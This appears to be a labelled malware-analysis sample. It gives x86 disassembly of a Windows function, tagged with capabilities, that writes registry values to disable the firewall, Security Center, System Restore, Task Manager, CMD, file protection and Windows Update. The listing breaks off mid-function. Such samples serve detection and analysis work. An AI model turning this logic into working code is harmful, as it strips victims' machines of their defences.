Function at 0x4010d0
Capabilities:
Delete registry key
Disable system features via registry on windows
Persist via aedebug registry key
Persist via windows service
Set registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x24
push ebx
push esi
push edi
lea eax, [esp + 0x2c]
push eax
push 0
push 0x80000001
mov dword [esp + 0x24], 1
mov dword [esp + 0x34], 2
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x401135
push 0x4061b4
call ebx
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
push str.RegCreateKey_Error:
push ecx
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
mov esi, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
lea edx, [esp + 0x18]
push edx
lea eax, [esp + 0x14]
push eax
push 0
push 0xf003f
push 1
push 0
push 0
push str.SYSTEMCurrentControlSetServices_sr
push 0x80000002
call esi
test eax, eax
je 0x40118f
push 0x4061b4
call ebx
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
push str.RegCreateKeyEx_sr__Error:
push ecx
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
lea edx, [esp + 0x18]
push edx
lea eax, [esp + 0x24]
push eax
push 0
push 0xf003f
push 1
push 0
push 0
push str.SOFTWAREPoliciesMicrosoftWindowsFirewall_
push 0x80000002
call esi
test eax, eax
je 0x4011e3
push 0x4061b4
call ebx
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
push str.RegCreateKeyEx_policy__Error:
push ecx
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
mov eax, dword [esp + 0x20]
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push 4
lea edx, [esp + 0x18]
push edx
push 4
push 0
push str.EnableFirewall
push eax
mov dword [esp + 0x2c], 0
call edi
test eax, eax
je 0x401239
push 0x4061b4
call ebx
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
push str.RegSetValueExDWORD_firewall__Error:
push ecx
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
mov eax, dword [esp + 0x10]
push 4
lea edx, [esp + 0x18]
push edx
push 4
push 0
push str.Start
push eax
mov dword [esp + 0x2c], 4
call edi
test eax, eax
je 0x401289
push 0x4061b4
call ebx
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
push str.RegSetValueExDWORD_sr__Error:
push ecx
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
lea edx, [esp + 0x18]
push edx
lea eax, [esp + 0x14]
push eax
push 0
push 0xf003f
push 1
push 0
push 0
push str.SOFTWAREMicrosoftSecurity_Center
push 0x80000002
call esi
test eax, eax
je 0x4012dd
push 0x4061b4
call ebx
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
push str.RegCreateKeyEx_Security__Error:
push ecx
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
mov eax, dword [esp + 0x10]
push 4
lea edx, [esp + 0x18]
push edx
push 4
push 0
push str.Security_Center
push eax
mov dword [esp + 0x2c], 0
call edi
test eax, eax
je 0x40132d
push 0x4061b4
call ebx
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
push str.RegSetValueExDWORD_Security__Error:
push ecx
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
lea edx, [esp + 0x18]
push edx
lea eax, [esp + 0x14]
push eax
push 0
push 0xf003f
push 1
push 0
push 0
push str.RemoteProfile
push 0x80000002
call esi
test eax, eax
je 0x401381
push 0x4061b4
call ebx
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
push str.RegCreateKeyEx_autoconnect__Error:
push ecx
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
mov eax, dword [esp + 0x10]
push 4
lea edx, [esp + 0x18]
push edx
push 4
push 0
push str.AutoConnect
push eax
mov dword [esp + 0x2c], 0
call edi
test eax, eax
je 0x4013d1
push 0x4061b4
call ebx
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
push str.RegSetValueExDWORD_autoconnect__Error:
push ecx
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
lea edx, [esp + 0x18]
push edx
lea eax, [esp + 0x14]
push eax
push 0
push 0xf003f
push 1
push 0
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
push 0x80000002
call esi
test eax, eax
je 0x401425
push 0x4061b4
call ebx
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
push str.RegCreateKeyEx_CAD__Error:
push ecx
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
mov eax, dword [esp + 0x10]
push 4
lea edx, [esp + 0x18]
push edx
push 4
push 0
push str.DisableCAD
push eax
mov dword [esp + 0x2c], 1
call edi
test eax, eax
je 0x401475
push 0x4061b4
call ebx
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
push str.RegSetValueExDWORD_CAD__Error:
push ecx
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
lea edx, [esp + 0x18]
push edx
lea eax, [esp + 0x14]
push eax
push 0
push 0xf003f
push 1
push 0
push 0
push str.SYSTEMCurrentControlSetServicesAlerter
push 0x80000002
call esi
test eax, eax
je 0x4014c9
push 0x4061b4
call ebx
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
push str.RegCreateKeyEx_Alert__Error:
push ecx
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
mov eax, dword [esp + 0x10]
push 4
lea edx, [esp + 0x18]
push edx
push 4
push 0
push str.Start
push eax
mov dword [esp + 0x2c], 4
call edi
test eax, eax
je 0x401519
push 0x4061b4
call ebx
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
push str.RegSetValueExDWORD_Alert__Error:
push ecx
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
lea edx, [esp + 0x18]
push edx
lea eax, [esp + 0x14]
push eax
push 0
push 0xf003f
push 1
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionInternet_Settings
push 0x80000002
call esi
test eax, eax
je 0x40156d
push 0x4061b4
call ebx
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
push str.RegCreateKeyEx_AutoDial__Error:
push ecx
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
mov eax, dword [esp + 0x10]
push 4
lea edx, [esp + 0x18]
push edx
push 4
push 0
push str.EnableAutodial
push eax
mov dword [esp + 0x2c], 0
call edi
test eax, eax
je 0x4015bd
push 0x4061b4
call ebx
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
push str.RegSetValueExDWORD_AutoDial__Error:
push ecx
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
lea edx, [esp + 0x18]
push edx
lea eax, [esp + 0x14]
push eax
push 0
push 0xf003f
push 1
push 0
push 0
push str.SoftwarePoliciesMicrosoftWindowsSystem
push 0x80000002
call esi
test eax, eax
je 0x401611
push 0x4061b4
call ebx
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
push str.RegCreateKeyEx_Command__Error:
push ecx
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
mov eax, dword [esp + 0x10]
push 4
lea edx, [esp + 0x18]
push edx
push 4
push 0
push str.DisableCMD
push eax
mov dword [esp + 0x2c], 1
call edi
test eax, eax
je 0x401661
push 0x4061b4
call ebx
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
push str.RegSetValueExDWORD_Command__Error:
push ecx
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
lea edx, [esp + 0x18]
push edx
lea eax, [esp + 0x14]
push eax
push 0
push 0xf003f
push 1
push 0
push 0
push str.SOFTWAREMicrosoftOLE
push 0x80000002
call esi
test eax, eax
je 0x4016b5
push 0x4061b4
call ebx
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
push str.RegCreateKeyEx_DCOM__Error:
push ecx
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
mov eax, dword [esp + 0x10]
push 6
lea edx, [esp + 0x28]
push edx
push 1
push 0
push str.EnableDCOM
push eax
mov dword [esp + 0x3c], 0x4067bc
call edi
test eax, eax
je 0x401705
push 0x4061b4
call ebx
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
push str.RegSetValueExDWORD_Command__Error:
push ecx
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
lea edx, [esp + 0x18]
push edx
lea eax, [esp + 0x14]
push eax
push 0
push 0xf003f
push 1
push 0
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
push 0x80000002
call esi
test eax, eax
je 0x401759
push 0x4061b4
call ebx
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
push str.RegCreateKeyEx_FileProt__Error:
push ecx
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
mov eax, dword [esp + 0x10]
push 4
lea edx, [esp + 0x18]
push edx
push 4
push 0
push str.SFCDisable
push eax
mov dword [esp + 0x2c], 1
call edi
test eax, eax
je 0x4017a9
push 0x4061b4
call ebx
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
push str.RegSetValueExDWORD_FileProt__Error:
push ecx
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
lea edx, [esp + 0x18]
push edx
lea eax, [esp + 0x14]
push eax
push 0
push 0xf003f
push 1
push 0
push 0
push str.SYSTEMCurrentControlSetControlServiceGroupOrder
push 0x80000002
call esi
test eax, eax
je 0x4017fd
push 0x4061b4
call ebx
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
push str.RegCreateKeyEx_ServiceOrder__Error:
push ecx
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
mov eax, dword [esp + 0x10]
push 4
lea edx, [esp + 0x18]
push edx
push 4
push 0
push 0x4068d0
push eax
mov dword [esp + 0x2c], 1
call edi
test eax, eax
je 0x40184d
push 0x4061b4
call ebx
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
push str.RegSetValueExDWORD_FileProt__Error:
push ecx
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
lea edx, [esp + 0x18]
push edx
lea eax, [esp + 0x14]
push eax
push 0
push 0xf003f
push 1
push 0
push 0
push str.SoftwarePoliciesInternet_ExplorerControlPanel
push 0x80000002
call esi
test eax, eax
je 0x4018a1
push 0x4061b4
call ebx
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
push str.RegCreateKeyEx_Homepage__Error:
push ecx
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
mov eax, dword [esp + 0x10]
push 4
lea edx, [esp + 0x18]
push edx
push 4
push 0
push str.HomePage
push eax
mov dword [esp + 0x2c], 1
call edi
test eax, eax
je 0x4018f1
push 0x4061b4
call ebx
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
push str.RegSetValueExDWORD_Homepage__Error:
push ecx
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
lea edx, [esp + 0x18]
push edx
lea eax, [esp + 0x14]
push eax
push 0
push 0xf003f
push 1
push 0
push 0
push str.SOFTWAREPoliciesMicrosoftWindowsInstaller
push 0x80000002
call esi
test eax, eax
je 0x401945
push 0x4061b4
call ebx
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
push str.RegCreateKeyEx_Installer__Error:
push ecx
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
mov eax, dword [esp + 0x10]
push 4
lea edx, [esp + 0x18]
push edx
push 4
push 0
push str.DisableMSI
push eax
mov dword [esp + 0x2c], 1
call edi
test eax, eax
je 0x401995
push 0x4061b4
call ebx
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
push str.RegSetValueExDWORD_Installer__Error:
push ecx
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
lea edx, [esp + 0x28]
push edx
lea eax, [esp + 0x14]
push eax
push 0
push 0xf003f
push 1
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
push 0x80000002
call esi
test eax, eax
je 0x4019e9
push 0x4061b4
call ebx
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
push str.RegCreateKeyEx_Pass__Error:
push ecx
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
mov eax, dword [esp + 0x10]
push 4
lea edx, [esp + 0x18]
push edx
push 4
push 0
push str.DisableChangePassword
push eax
mov dword [esp + 0x2c], 1
call edi
test eax, eax
je 0x401a39
push 0x4061b4
call ebx
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
push str.RegSetValueExDWORD_Pass__Error:
push ecx
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
lea edx, [esp + 0x18]
push edx
lea eax, [esp + 0x14]
push eax
push 0
push 0xf003f
push 1
push 0
push 0
push str.SoftwareMicrosoftInternet_ExplorerMainFeatureControlFEATURE_WEBOC_POPUPMANAGEMENT
push 0x80000002
call esi
test eax, eax
je 0x401a8d
push 0x4061b4
call ebx
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
push str.RegCreateKeyEx_popup__Error:
push ecx
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
mov eax, dword [esp + 0x10]
push 4
lea edx, [esp + 0x18]
push edx
push 4
push 0
push str.iexplorer.exe
push eax
mov dword [esp + 0x2c], 0
call edi
test eax, eax
je 0x401add
push 0x4061b4
call ebx
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
push str.RegSetValueExDWORD_popup__Error:
push ecx
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
lea edx, [esp + 0x18]
push edx
lea eax, [esp + 0x14]
push eax
push 0
push 0xf003f
push 1
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
push 0x80000002
call esi
test eax, eax
je 0x401b31
push 0x4061b4
call ebx
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
push str.RegCreateKeyEx_Shared__Error:
push ecx
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
mov eax, dword [esp + 0x10]
push 4
lea edx, [esp + 0x18]
push edx
push 4
push 0
push str.Start
push eax
mov dword [esp + 0x2c], 4
call edi
test eax, eax
je 0x401b81
push 0x4061b4
call ebx
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
push str.RegSetValueExDWORD_Shared__Error:
push ecx
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
lea edx, [esp + 0x18]
push edx
lea eax, [esp + 0x14]
push eax
push 0
push 0xf003f
push 1
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
push 0x80000002
call esi
test eax, eax
je 0x401bd5
push 0x4061b4
call ebx
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
push str.RegCreateKeyEx_Task__Error:
push ecx
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
mov eax, dword [esp + 0x10]
push 4
lea edx, [esp + 0x18]
push edx
push 4
push 0
push str.DisableTaskMgr
push eax
mov dword [esp + 0x2c], 1
call edi
test eax, eax
je 0x401c25
push 0x4061b4
call ebx
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
push str.RegSetValueExDWORD_Task__Error:
push ecx
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
lea edx, [esp + 0x18]
push edx
lea eax, [esp + 0x14]
push eax
push 0
push 0xf003f
push 1
push 0
push 0
push str.SYSTEMControlSet001ControlSession_Manager
push 0x80000002
call esi
test eax, eax
je 0x401c79
push 0x4061b4
call ebx
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
push str.RegCreateKeyEx_WFP__Error:
push ecx
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
mov eax, dword [esp + 0x10]
push 4
lea edx, [esp + 0x18]
push edx
push 4
push 0
push str.AllowProtectedRenames
push eax
mov dword [esp + 0x2c], 1
call edi
test eax, eax
je 0x401cc9
push 0x4061b4
call ebx
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
push str.RegSetValueExDWORD_WFP__Error:
push ecx
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
lea edx, [esp + 0x18]
push edx
lea eax, [esp + 0x14]
push eax
push 0
push 0xf003f
push 1
push 0
push 0
push str.SYSTEMCurrentControlSetServiceswuauserv
push 0x80000002
call esi
test eax, eax
je 0x401d1d
push 0x4061b4
call ebx
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
push str.RegCreateKeyEx_Autoupdate__Error:
push ecx
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
mov eax, dword [esp + 0x10]
push 4
lea edx, [esp + 0x18]
push edx
push 4
push 0
push str.Start
push eax
mov dword [esp + 0x2c], 4
call edi
test eax, eax
je 0x401d6d
push 0x4061b4
call ebx
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
push str.RegSetValueExDWORD_Autupdate__Error:
push ecx
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
lea edx, [esp + 0x18]
push edx
lea eax, [esp + 0x14]
push eax
push 0
push 0xf003f
push 1
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesWindowsUpdate
push 0x80000002
call esi
test eax, eax
je 0x401dc1
push 0x4061b4
call ebx
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
push str.RegCreateKeyEx_Autoupdate__Error:
push ecx
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
mov eax, dword [esp + 0x10]
push 4
lea edx, [esp + 0x18]
push edx
push 4
push 0
push str.DisableWindowsUpdateAccess
push eax
mov dword [esp + 0x2c], 1
call edi
test eax, eax
je 0x401e11
push 0x4061b4
call ebx
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
push str.RegSetValueExDWORD_Autupdate__Error:
push ecx
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
lea edx, [esp + 0x18]
push edx
lea eax, [esp + 0x14]
push eax
push 0
push 0xf003f
push 1
push 0
push 0
push str.Control_PanelDesktop
push 0x80000002
call esi
test eax, eax
je 0x401e65
push 0x4061b4
call ebx
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
push str.RegCreateKeyEx_Desktop__Error:
push ecx
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
mov eax, dword [esp + 0x10]
push 4
lea edx, [esp + 0x18]
push edx
push 4
push 0
push str.DesktopSetting
push eax
mov dword [esp + 0x2c], 1
call edi
test eax, eax
je 0x401eb5
push 0x4061b4
call ebx
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
push str.RegSetValueExDWORD_Desktop__Error:
push ecx
call fcn.00404560
add esp, 8
mov ecx, eax
